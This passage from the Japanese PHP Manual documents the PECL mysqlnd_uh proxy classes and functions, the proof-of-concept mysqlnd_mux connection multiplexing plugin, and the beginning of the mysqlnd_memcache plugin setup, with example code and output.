$res = $mysqli->query("SELECT 'Also called buffered result' AS _msg FROM DUAL");
var_dump($res->fetch_assoc());

$mysqli->real_query("SELECT 'Good morning!' AS _msg FROM DUAL");
$res = $mysqli->store_result();
var_dump($res->fetch_assoc());
?>

上の例の出力は以下となります。

proxy::storeResult(array (
  0 => NULL,
))
proxy::storeResult returns NULL
resource(475) of type (Mysqlnd Resultset (internal only - you must not modify it!))
array(1) {
  ["_msg"]=>
  string(27) "Also called buffered result"
}
proxy::storeResult(array (
  0 => NULL,
))
proxy::storeResult returns NULL
resource(730) of type (Mysqlnd Resultset (internal only - you must not modify it!))
array(1) {
  ["_msg"]=>
  string(13) "Good morning!"
}

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_store_result() - 直近のクエリから結果セットを転送する
  • mysqli_real_query() - SQL クエリを実行する

User Contributed Notes

There are no user contributed notes for this page.


Commits the current transaction

  • ≪ MysqlndUhConnection::storeResult
  • MysqlndUhConnection::txRollback ≫
  • PHP Manual
  • MysqlndUhConnection
  • Commits the current transaction

MysqlndUhConnection::txCommit

(PECL mysqlnd-uh >= 1.0.1-alpha)

MysqlndUhConnection::txCommit — Commits the current transaction

説明

public MysqlndUhConnection::txCommit ( mysqlnd_connection $connection ) : bool

Commits the current transaction.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::txCommit() example

<?php
class proxy extends MysqlndUhConnection {
 public function txCommit($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::txCommit($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->commit();
?>

上の例の出力は以下となります。

proxy::txCommit(array (
  0 => NULL,
))
proxy::txCommit returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_commit() - 現在のトランザクションをコミットする

User Contributed Notes

There are no user contributed notes for this page.


Rolls back current transaction

  • ≪ MysqlndUhConnection::txCommit
  • MysqlndUhConnection::useResult ≫
  • PHP Manual
  • MysqlndUhConnection
  • Rolls back current transaction

MysqlndUhConnection::txRollback

(PECL mysqlnd-uh >= 1.0.1-alpha)

MysqlndUhConnection::txRollback — Rolls back current transaction

説明

public MysqlndUhConnection::txRollback ( mysqlnd_connection $connection ) : bool

Rolls back current transaction.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::txRollback() example

<?php
class proxy extends MysqlndUhConnection {
 public function txRollback($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::txRollback($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->rollback();
?>

上の例の出力は以下となります。

proxy::txRollback(array (
  0 => NULL,
))
proxy::txRollback returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_commit() - 現在のトランザクションをコミットする

User Contributed Notes

There are no user contributed notes for this page.


Initiate a result set retrieval

  • ≪ MysqlndUhConnection::txRollback
  • MysqlndUhPreparedStatement ≫
  • PHP Manual
  • MysqlndUhConnection
  • Initiate a result set retrieval

MysqlndUhConnection::useResult

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::useResult — Initiate a result set retrieval

説明

public MysqlndUhConnection::useResult ( mysqlnd_connection $connection ) : resource

Initiate a result set retrieval.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Resource of type Mysqlnd Resultset (internal only - you must not modify it!). The documentation may also refer to such resources using the alias name mysqlnd_resultset.

例

例1 MysqlndUhConnection::useResult() example

<?php
class proxy extends MysqlndUhConnection {
 public function useResult($res) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $ret = parent::useResult($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->real_query("SELECT 'Good morning!' AS _msg FROM DUAL");
$res = $mysqli->use_result();
var_dump($res->fetch_assoc());
?>

上の例の出力は以下となります。

proxy::useResult(array (
  0 => NULL,
))
proxy::useResult returns NULL
resource(425) of type (Mysqlnd Resultset (internal only - you must not modify it!))
array(1) {
  ["_msg"]=>
  string(13) "Good morning!"
}

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_use_result() - 結果セットの取得を開始する
  • mysqli_real_query() - SQL クエリを実行する

User Contributed Notes

There are no user contributed notes for this page.


The MysqlndUhPreparedStatement class

(PECL mysqlnd-uh >= 1.0.0-alpha)

はじめに

クラス概要

MysqlndUhPreparedStatement {
/* メソッド */
public __construct ( )
public execute ( mysqlnd_prepared_statement $statement ) : bool
public prepare ( mysqlnd_prepared_statement $statement , string $query ) : bool
}

目次

  • MysqlndUhPreparedStatement::__construct — The __construct purpose
  • MysqlndUhPreparedStatement::execute — Executes a prepared Query
  • MysqlndUhPreparedStatement::prepare — Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • ≪ MysqlndUhPreparedStatement
  • MysqlndUhPreparedStatement::execute ≫
  • PHP Manual
  • MysqlndUhPreparedStatement
  • The __construct purpose

MysqlndUhPreparedStatement::__construct

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhPreparedStatement::__construct — The __construct purpose

説明

public MysqlndUhPreparedStatement::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Executes a prepared Query

  • ≪ MysqlndUhPreparedStatement::__construct
  • MysqlndUhPreparedStatement::prepare ≫
  • PHP Manual
  • MysqlndUhPreparedStatement
  • Executes a prepared Query

MysqlndUhPreparedStatement::execute

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhPreparedStatement::execute — Executes a prepared Query

説明

public MysqlndUhPreparedStatement::execute ( mysqlnd_prepared_statement $statement ) : bool

Executes a prepared Query.

パラメータ

statement

Mysqlnd prepared statement handle. Do not modify! Resource of type Mysqlnd Prepared Statement (internal only - you must not modify it!).

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhPreparedStatement::execute() example

<?php
class stmt_proxy extends MysqlndUhPreparedStatement {
 public function execute($res) {
  printf("%s(", __METHOD__);
  var_dump($res);
  printf(")\n");
  $ret = parent::execute($res);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_statement_proxy(new stmt_proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$stmt = $mysqli->prepare("SELECT 'Labskaus' AS _msg FROM DUAL");
$stmt->execute();
$msg = NULL;
$stmt->bind_result($msg);
$stmt->fetch();
var_dump($msg);
?>

上の例の出力は以下となります。

stmt_proxy::execute(resource(256) of type (Mysqlnd Prepared Statement (internal only - you must not modify it!))
)
stmt_proxy::execute returns true
bool(true)
string(8) "Labskaus"

参考

  • mysqlnd_uh_set_statement_proxy() - Installs a proxy for mysqlnd statements
  • mysqli_stmt_execute() - プリペアドステートメントを実行する

User Contributed Notes

There are no user contributed notes for this page.


Prepare an SQL statement for execution

  • ≪ MysqlndUhPreparedStatement::execute
  • Mysqlnd_uh 関数 ≫
  • PHP Manual
  • MysqlndUhPreparedStatement
  • Prepare an SQL statement for execution

MysqlndUhPreparedStatement::prepare

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhPreparedStatement::prepare — Prepare an SQL statement for execution

説明

public MysqlndUhPreparedStatement::prepare ( mysqlnd_prepared_statement $statement , string $query ) : bool

Prepare an SQL statement for execution.

パラメータ

statement

Mysqlnd prepared statement handle. Do not modify! Resource of type Mysqlnd Prepared Statement (internal only - you must not modify it!).

query

The query to be prepared.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhPreparedStatement::prepare() example

<?php
class stmt_proxy extends MysqlndUhPreparedStatement {
 public function prepare($res, $query) {
  printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
  $query = "SELECT 'No more you-know-what-I-mean for lunch, please' AS _msg FROM DUAL";
  $ret = parent::prepare($res, $query);
  printf("%s returns %s\n", __METHOD__, var_export($ret, true));
  var_dump($ret);
  return $ret;
 }
}
mysqlnd_uh_set_statement_proxy(new stmt_proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$stmt = $mysqli->prepare("SELECT 'Labskaus' AS _msg FROM DUAL");
$stmt->execute();
$msg = NULL;
$stmt->bind_result($msg);
$stmt->fetch();
var_dump($msg);
?>

上の例の出力は以下となります。

stmt_proxy::prepare(array (
  0 => NULL,
  1 => 'SELECT \'Labskaus\' AS _msg FROM DUAL',
))
stmt_proxy::prepare returns true
bool(true)
string(46) "No more you-know-what-I-mean for lunch, please"

参考

  • mysqlnd_uh_set_statement_proxy() - Installs a proxy for mysqlnd statements
  • mysqli_stmt_prepare() - SQL ステートメントを実行するために準備する
  • mysqli_prepare() - 実行するための SQL文 を準備する

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd_uh 関数

目次

  • mysqlnd_uh_convert_to_mysqlnd — Converts a MySQL connection handle into a mysqlnd connection handle
  • mysqlnd_uh_set_connection_proxy — Installs a proxy for mysqlnd connections
  • mysqlnd_uh_set_statement_proxy — Installs a proxy for mysqlnd statements

User Contributed Notes

There are no user contributed notes for this page.


Converts a MySQL connection handle into a mysqlnd connection handle

  • ≪ Mysqlnd_uh 関数
  • mysqlnd_uh_set_connection_proxy ≫
  • PHP Manual
  • Mysqlnd_uh 関数
  • Converts a MySQL connection handle into a mysqlnd connection handle

mysqlnd_uh_convert_to_mysqlnd

(PECL mysqlnd-uh >= 1.0.0-alpha)

mysqlnd_uh_convert_to_mysqlnd — Converts a MySQL connection handle into a mysqlnd connection handle

説明

mysqlnd_uh_convert_to_mysqlnd ( mysqli &$mysql_connection ) : resource

Converts a MySQL connection handle into a mysqlnd connection handle. After conversion you can execute mysqlnd library calls on the connection handle. This can be used to access mysqlnd functionality not made available through user space API calls.

The function can be disabled with mysqlnd_uh.enable. If mysqlnd_uh.enable is set to false the function will not install the proxy and always return true. Additionally, an error of the type E_WARNING may be emitted. The error message may read like PHP Warning: mysqlnd_uh_convert_to_mysqlnd(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enable = false. You are not allowed to call this function [...].

パラメータ

MySQL connection handle

A MySQL connection handle of type mysql, mysqli or PDO_MySQL.

返り値

A mysqlnd connection handle.

変更履歴

バージョン | 説明
5.4.0 | The mysql_connection parameter can now be of type mysql, PDO_MySQL, or mysqli. Before, only the mysqli type was allowed.

例

例1 mysqlnd_uh_convert_to_mysqlnd() example

<?php
/* PDO user API gives no access to connection thread id */
$mysql_connection = new PDO("mysql:host=localhost;dbname=test", "root", "");

/* Convert PDO MySQL handle to mysqlnd handle */
$mysqlnd = mysqlnd_uh_convert_to_mysqlnd($mysql_connection);

/* Create Proxy to call mysqlnd connection class methods */
$obj = new MySQLndUHConnection();
/* Call mysqlnd_conn::get_thread_id */
var_dump($obj->getThreadId($mysqlnd));

/* Use SQL to fetch connection thread id */
var_dump($mysql_connection->query("SELECT CONNECTION_ID()")->fetchAll());
?>

上の例の出力は以下となります。

int(27054)
array(1) {
  [0]=>
  array(2) {
    ["CONNECTION_ID()"]=>
    string(5) "27054"
    [0]=>
    string(5) "27054"
  }
}

参考

  • mysqlnd_uh.enable

User Contributed Notes

There are no user contributed notes for this page.


Installs a proxy for mysqlnd connections

  • ≪ mysqlnd_uh_convert_to_mysqlnd
  • mysqlnd_uh_set_statement_proxy ≫
  • PHP Manual
  • Mysqlnd_uh 関数
  • Installs a proxy for mysqlnd connections

mysqlnd_uh_set_connection_proxy

(PECL mysqlnd-uh >= 1.0.0-alpha)

mysqlnd_uh_set_connection_proxy — Installs a proxy for mysqlnd connections

説明

mysqlnd_uh_set_connection_proxy ( MysqlndUhConnection &$connection_proxy , mysqli &$mysqli_connection = ? ) : bool

Installs a proxy object to hook mysqlnd's connection objects methods. Once installed, the proxy will be used for all MySQL connections opened with mysqli, mysql or PDO_MYSQL, assuming that the listed extensions are compiled to use the mysqlnd library.

The function can be disabled with mysqlnd_uh.enable. If mysqlnd_uh.enable is set to false the function will not install the proxy and always return true. Additionally, an error of the type E_WARNING may be emitted. The error message may read like PHP Warning: mysqlnd_uh_set_connection_proxy(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enable = false. The proxy has not been installed [...].

パラメータ

connection_proxy

A proxy object of type MysqlndUhConnection.

mysqli_connection

Object of type mysqli. If given, the proxy will be set for this particular connection only.

返り値

Returns true on success. Otherwise, returns false

例

例1 mysqlnd_uh_set_connection_proxy() example

<?php
$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("SELECT 'No proxy installed, yet'");

class proxy extends MysqlndUhConnection {
 public function query($res, $query) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::query($res, $query);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli->query("SELECT 'mysqlnd rocks!'");

$mysql = mysql_connect("localhost", "root", "", "test");
mysql_query("SELECT 'Ahoy Andrey!'", $mysql);

$pdo = new PDO("mysql:host=localhost;dbname=test", "root", "");
$pdo->query("SELECT 'Moin Johannes!'");
?>

上の例の出力は以下となります。

proxy::query(array (
  0 => NULL,
  1 => 'SELECT \'mysqlnd rocks!\'',
))
proxy::query returns true
proxy::query(array (
  0 => NULL,
  1 => 'SELECT \'Ahoy Andrey!\'',
))
proxy::query returns true
proxy::query(array (
  0 => NULL,
  1 => 'SELECT \'Moin Johannes!\'',
))
proxy::query returns true

参考

  • mysqlnd_uh_set_statement_proxy() - Installs a proxy for mysqlnd statements
  • mysqlnd_uh.enable

User Contributed Notes

There are no user contributed notes for this page.


Installs a proxy for mysqlnd statements

  • ≪ mysqlnd_uh_set_connection_proxy
  • Change History ≫
  • PHP Manual
  • Mysqlnd_uh 関数
  • Installs a proxy for mysqlnd statements

mysqlnd_uh_set_statement_proxy

(PECL mysqlnd-uh >= 1.0.0-alpha)

mysqlnd_uh_set_statement_proxy — Installs a proxy for mysqlnd statements

説明

mysqlnd_uh_set_statement_proxy ( MysqlndUhStatement &$statement_proxy ) : bool

Installs a proxy for mysqlnd statements. The proxy object will be used for all mysqlnd prepared statement objects, regardless which PHP MySQL extension (mysqli, mysql, PDO_MYSQL) has created them as long as the extension is compiled to use the mysqlnd library.

The function can be disabled with mysqlnd_uh.enable. If mysqlnd_uh.enable is set to false the function will not install the proxy and always return true. Additionally, an error of the type E_WARNING may be emitted. The error message may read like PHP Warning: mysqlnd_uh_set_statement_proxy(): (Mysqlnd User Handler) The plugin has been disabled by setting the configuration parameter mysqlnd_uh.enable = false. The proxy has not been installed [...].

パラメータ

statement_proxy

The mysqlnd statement proxy object of type MysqlndUhStatement

返り値

Returns true on success. Otherwise, returns false

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqlnd_uh.enable

User Contributed Notes

There are no user contributed notes for this page.


Change History

目次

  • PECL/mysqlnd_uh 1.0 series

The Change History lists major changes users need to be aware if upgrading from one version to another. It is a high level summary of selected changes that may impact applications or might even break backwards compatibility. See also the CHANGES file contained in the source for additional changelog information. The commit history is also available.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_uh 1.0 series

1.0.1-alpha

  • Release date: TBD
  • Motto/theme: bug fix release

Feature changes

  • Support of PHP 5.4.0 or later.
  • BC break: MysqlndUhConnection::changeUser() requires additional passwd_len parameter.
  • BC break: MYSQLND_UH_VERSION_STR renamed to MYSQLND_UH_VERSION. MYSQLND_UH_VERSION renamed to MYSQLND_UH_VERSION_ID.
  • BC break: mysqlnd_uh.enabled configuration setting renamed to mysqlnd_uh.enable.

1.0.0-alpha

  • Release date: 08/2010
  • Motto/theme: Initial release

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd connection multiplexing plugin

  • はじめに
  • Concepts
    • Architecture
    • Connection pool
    • Sharing connections
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
  • 定義済み定数
  • Change History
    • PECL/mysqlnd_mux 1.0 series

User Contributed Notes

There are no user contributed notes for this page.


はじめに

The mysqlnd multiplexing plugin (mysqlnd_mux) multiplexes MySQL connections established by all PHP MySQL extensions that use the MySQL native driver (mysqlnd) for PHP.

The MySQL native driver for PHP features an internal C API for plugins, such as the connection multiplexing plugin, which can extend the functionality of mysqlnd. See the mysqlnd for additional details about its benefits over the MySQL Client Library libmysqlclient.

Mysqlnd plugins like mysqlnd_mux operate, for the most part, transparently from a user perspective. The connection multiplexing plugin supports all PHP applications, and all MySQL PHP extensions. It does not change existing APIs. Therefore, it can easily be used with existing PHP applications.

注意:

This is a proof-of-concept. All features are at an early stage. Not all kinds of queries are handled by the plugin yet. Thus, it cannot be used in a drop-in fashion at the moment.

Please, do not use this version in production environments.

Key Features

The key features of mysqlnd_mux are as follows:

  • Transparent and therefore easy to use:

    • Supports all of the PHP MySQL extensions.

    • Little to no application changes are required, dependent on the required usage scenario.

  • Reduces server load and connection establishment latency:

    • Opens less connections to the MySQL server.

    • Less connections to MySQL mean less work for the MySQL server. In a client-server environment scaling the server is often more difficult than scaling the client. Multiplexing helps with horizontal scale-out (scale-by-client).

    • Pooling saves connection time.

    • Multiplexed connection: multiple user handles share the same network connection. Once opened, a network connection is cached and shared among multiple user handles. There is a 1:n relationship between internal network connection and user connection handles.

    • Persistent connection: a network connection is kept open at the end of the web request, if the PHP deployment model allows. Thus, subsequently web requests can reuse a previously opened connection. Like other resources, network connections are bound to the scope of a process. Thus, they can be reused for all web requests served by a process.

Limitations

The proof-of-concept does not support unbuffered queries, prepared statements, and asynchronous queries.

The connection pool is using a combination of the transport method and hostname as keys. As a consequence, two connections to the same host using the same transport method (TCP/IP, Unix socket, Windows named pipe) will be linked to the same pooled connection even if username and password differ. Be aware of the possible security implications.

The proof-of-concept is transaction agnostic. It does not know about SQL transactions.

注意:

Applications must be aware of the consequences of connection sharing connections.

About the name mysqlnd_mux

The shortcut mysqlnd_mux stands for mysqlnd connection multiplexing plugin.

User Contributed Notes

There are no user contributed notes for this page.


Concepts

目次

  • Architecture
  • Connection pool
  • Sharing connections

This explains the architecture and related concepts for this plugin. Reading and understanding these concepts is required to successfully use this plugin.

User Contributed Notes

There are no user contributed notes for this page.


Architecture

The mysqlnd connection multiplexing plugin is implemented as a PHP extension. It is written in C and operates under the hood of PHP. During the startup of the PHP interpreter, in the module initialization phase of the PHP engine, it gets registered as a mysqlnd plugin to replace specific mysqlnd C methods.

The mysqlnd library uses PHP streams to communicate with the MySQL server. PHP streams are accessed by the mysqlnd library through its net module. The mysqlnd connection multiplexing plugin proxies methods of the mysqlnd library net module to control opening and closing of network streams.

Upon opening a user connection to MySQL using the appropriate connection functions of either mysqli, PDO_MYSQL or ext/mysql, the plugin will search its connection pool for an open network connection. If the pool contains a network connection to the host specified by the connect function using the transport method requested (TCP/IP, Unix domain socket, Windows named pipe), the pooled connection is linked to the user handle. Otherwise, a new network connection is opened, put into the poolm and associated with the user connection handle. This way, multiple user handles can be linked to the same network connection.

User Contributed Notes

There are no user contributed notes for this page.


Connection pool

The plugins connection pool is created when PHP initializes its modules (MINIT) and free'd when PHP shuts down the modules (MSHUTDOWN). This is the same as for persistent MySQL connections.

Depending on the deployment model, the pool is used for the duration of one or multiple web requests. Network connections are bound to the lifespan of an operating system level process. If the PHP process serves multiple web requests as it is the case for Fast-CGI or threaded web server deployments, then the pooled connections can be reused over multiple connections. Because multiplexing means sharing connections, it can even happen with a threaded deployment that two threads or two distinct web requests are linked to one pooled network connections.

A pooled connection is explicitly closed once the last reference to it is released. An implicit close happens when PHP shuts down its modules.

User Contributed Notes

There are no user contributed notes for this page.


Sharing connections

The PHP mysqlnd connection multiplexing plugin changes the relationship between a users connection handle and the underlying MySQL connection. Without the plugin, every MySQL connection belongs to exactly one user connection at a time. The multiplexing plugin changes. A MySQL connection is shared among multiple user handles. There no one-to-one relation if using the plugin.

Sharing pooled connections has an impact on the connection state. State changing operations from multiple user handles pointing to one MySQL connection are not isolated from each other. If, for example, a session variable is set through one user connection handle, the session variable becomes visible to all other user handles that reference the same underlying MySQL connection.

This is similar in concept to connection state related phenomens described for the PHP mysqlnd replication and load balancing plugin. Please, check the PECL/mysqlnd_ms documentation for more details on the state of a connection.

The proof-of-concept takes no measures to isolate multiplexed connections from each other.

User Contributed Notes

There are no user contributed notes for this page.


要件

PHP 5.5.0 or newer. Some advanced functionality requires PHP 5.5.0 or newer.

The mysqlnd_mux replication and load balancing plugin supports all PHP applications and all available PHP MySQL extensions (mysqli, mysql, PDO_MYSQL). The PHP MySQL extension must be configured to use mysqlnd in order to be able to use the mysqlnd_mux plugin for mysqlnd.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/mysqlnd_mux

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Mysqlnd_mux 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
mysqlnd_mux.enable | 0 | PHP_INI_SYSTEM |

以下に設定ディレクティブに関する 簡単な説明を示します。

mysqlnd_mux.enable int

Enables or disables the plugin. If disabled, the extension will not plug into mysqlnd to proxy internal mysqlnd C API calls.

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

Other

The plugins version number can be obtained using MYSQLND_MUX_VERSION or MYSQLND_MUX_VERSION_ID. MYSQLND_MUX_VERSION is the string representation of the numerical version number MYSQLND_MUX_VERSION_ID, which is an integer such as 10000. Developers can calculate the version number as follows.

Version (part) | Example
Major*10000 | 1*10000 = 10000
Minor*100 | 0*100 = 0
Patch | 0 = 0
MYSQLND_MUX_VERSION_ID | 10000

MYSQLND_MUX_VERSION (string)
Plugin version string, for example, 1.0.0-prototype.
MYSQLND_MUX_VERSION_ID (int)
Plugin version number, for example, 10000.

User Contributed Notes

There are no user contributed notes for this page.


Change History

目次

  • PECL/mysqlnd_mux 1.0 series

This change history is a high level summary of selected changes that may impact applications and/or break backwards compatibility.

See also the CHANGES file in the source distribution for a complete list of changes.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_mux 1.0 series

1.0.0-pre-alpha

  • Release date: no package released, initial check-in 09/2012
  • Motto/theme: Proof of concept

Initial check-in. Essentially a demo of the mysqlnd plugin API.

注意:

This is the current development series. All features are at an early stage. Changes may happen at any time without prior notice. Please, do not use this version in production environments.

The documentation may not reflect all changes yet.

User Contributed Notes

There are no user contributed notes for this page.


Mysqlnd Memcache プラグイン

  • はじめに
  • クイックスタートとサンプル集
    • セットアップ
    • 使いかた
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
  • 定義済み定数
  • Mysqlnd_memcache 関数
    • mysqlnd_memcache_get_config — プラグインの設定情報を返す
    • mysqlnd_memcache_set — MySQL の接続を Memcache の接続と関連づける
  • 変更履歴
    • PECL/mysqlnd_memcache 1.0 系

User Contributed Notes

There are no user contributed notes for this page.


はじめに

mysqlnd memcache plugin (mysqlnd_memcache) は PHP の拡張モジュールで、SQL を MySQL InnoDB Memcached Daemon Plugin (サーバープラグイン) 用のリクエストへと透過的に変換します。 実験的に、MySQL Cluster Memcached Daemon にも対応しています。 サーバープラグインは、MySQL InnoDB (と、実験的に MySQL Cluster NDB) のテーブルに格納されたデータに Memcache プロトコルでアクセスする機能を提供します。 この PHP 拡張モジュールは、mysqlnd を使うすべての MySQL 拡張モジュールに対応しています。 この方式で公開されたテーブルを識別し、特定の SELECT クエリーを Memcache のリクエストに変換します。

注意:

このプラグインは、MySQL InnoDB Memcached Daemon Plugin に依存します。 スタンドアロンの Memcached と組み合わせて使うことはできません。 Memcached を使った汎用的なクエリーキャッシュについては mysqlnd クエリキャッシュプラグイン を参照ください。直接 Memcache にアクセスするには、 memcache や memcached といった拡張モジュールを参照ください。

MySQL Native Driver は C のライブラリで、 PHP に同梱されています。MySQL Client Library (libmysqlclient) の代替として機能します。mysqlnd を使う利点はいろいろあります。 PHP に同梱されているので追加のダウンロードが不要であること、 PHP ライセンスで公開されていること、メモリの消費量が抑えられること、 そして非同期クエリなどの新たな機能が含まれていることなどです。

mysqlnd_mmemcache の機能の大部分は、 ユーザーの視点からはプラグインの存在を意識せずに使えます。このプラグインはすべての PHP アプリケーションをサポートし、そしてすべての MySQL 用 PHP 拡張モジュールに対応します。既存の API には何も手を加えません。 そのため、既存の PHP アプリケーションにも容易に組み込めます。

MySQL Memcache プラグインは、InnoDB や NDB (MySQL Cluster) の SQL テーブルに格納されたデータに対する キー/値 形式でのアクセス機能を追加します。 アクセスには Memcache プロトコルを使います。 このアクセス方法を使うと、たいていは SQL を使うよりも高速になります。

主要な機能

PECL/mysqlnd_memcache の主要な機能をまとめます。

  • パフォーマンスの向上が見込める

    • クライアント側: 軽量なプロトコル。

    • サーバー側: SQL のパースをせずに、ストレージに直接アクセスする。

    • 自分でベンチマークをして確認しましょう! 実際のパフォーマンスは、セットアップ方法やハードウェアによって大きく異なります。

制限

現在の初期バージョンは、バイナリセーフではありません。 MySQL Memcache プラグインの挙動のせいで、セパレータに関する制約があります。

プリペアドステートメントと非同期クエリーには対応していません。 結果セットのメタデータにも、部分的にしか対応していません。

Memcache 経由でアクセス可能なテーブルに関するマッピング情報は、 リクエスト間でキャッシュされません。MySQL の接続と Memache の接続を関連づけるたびに、MySQL サーバーから取得します。詳細は mysqlnd_memcache_set() を参照ください。

名前の由来

mysqlnd_memcache は mysqlnd memcache plugin の略です。 ここで言う Memcache とは、MySQL Memcache plugins for InnoDB and NDB (MySQL Cluster) をサポートしていることを指します。 このプラグインは Memcached キャッシュサーバーとは関係ありません。

User Contributed Notes

There are no user contributed notes for this page.


クイックスタートとサンプル集

目次

  • セットアップ
  • 使いかた

mysqlnd memcache プラグインは簡単に使えます。 このクイックスタートでは、よくある使いかたの例を示すとともに、 使い始めるための実践的なアドバイスをします。 started.

このクイックスタートだけでなく、リファレンスのドキュメントも読むようにしましょう。 クイックスタートでは、理論的な概念や制約などについては説明しません。 直接扱うのではなく、リファレンスのページへのリンクを示します。 このクイックスタートから読み始めてもまったく問題はありませんが、 実際にミッションクリティカルな環境で使い始める前には リファレンスで背景情報をしっかり読んでおくことをおすすめします。

User Contributed Notes

There are no user contributed notes for this page.


セットアップ

このプラグインは、PHP の拡張モジュールとして実装されています。この拡張モジュールを インストールする方法 も参照ください。

PHP の MySQL 用拡張モジュール (mysqli、 PDO_MYSQL あるいは mysql) をコンパイルします。このとき、mysqlnd ライブラリを使うように指定しないといけません。というのも、mysqlnd_memcache は mysqlnd 用のプラグインだからです。さらなる情報は、 mysqlnd_memcache のインストール方法 を参照ください。

それから、この拡張モジュールを PHP に読み込んでプラグインを有効化させましょう。 PHP の設定ファイルで、 mysqlnd_memcache.enable という項目を使います。

例1 プラグインを有効にする (php.ini)

; Windows の場合はファイル名が php_mysqnd_memcache.dll になります
; 拡張モジュールの読み込み
extension=mysqlnd_memcache.so
; 有効化
mysqlnd_memcache.enable=1

» MySQL Reference Manual の、Memcache プラグインのインストールページ の指示に従って MySQL サーバーを準備します。 プラグインを有効化して、Memcache で SQL テーブルにアクセスできるよう設定しましょう。

このクイックスタートのサンプルでは、次のようなテーブルがあって Memcache でそこにアクセスできるようになっていることを前提とします。

例2 クイックスタートで使うテーブルの SQL

CREATE TABLE test(
  id CHAR(16),
  f1 VARCHAR(255),
  f2 VARCHAR(255),
  f3 VARCHAR(255),
  flags INT NOT NULL,
  cas_column INT,
  expire_time_column INT,
  PRIMARY KEY(id)
  ) ENGINE=InnoDB;

INSERT INTO test (id, f1, f2, f3) VALUES (1, 'Hello', 'World', '!');
INSERT INTO test (id, f1, f2, f3) VALUES (2, 'Lady', 'and', 'the tramp');

INSERT INTO innodb_memcache.containers(
  name, db_schema, db_table, key_columns, value_columns,
  flags, cas_column, expire_time_column, unique_idx_name_on_key)
VALUES (
  'plugin_test', 'test', 'test', 'id', 'f1,f2,f3',
  'flags', 'cas_column', 'expire_time_column', 'PRIMARY KEY');

User Contributed Notes

There are no user contributed notes for this page.


使いかた

MySQL の接続と Memcache の接続の関連づけを mysqnd_memcache_set() で設定したら、 プラグインは透過的に、 SQL の SELECT 文を memcache へのアクセスに変換します。 そのため、このプラグインは実行されるすべての SQL 文を監視しており、 MYSQLND_MEMCACHE_DEFAULT_REGEXP にマッチする文がないかどうかを探します。 マッチする文が見つかれば、mysqlnd memcache プラグインはその内容をチェックします。 SELECT がアクセスするカラムが マップされているテーブルのものだけであること、 そして WHERE 句が単一キーのルックアップに限定されていることを確かめます。

この例の SQL テーブルの場合、プラグインは、 MySQL サーバーの Memcache インターフェイスを使って SELECT f1, f2, f3 WHERE id = n のような SQL クエリーの結果を取得します。

例1 基本的な例

<?php
$mysqli = new mysqli("host", "user", "passwd", "database");
$memc = new Memcached();
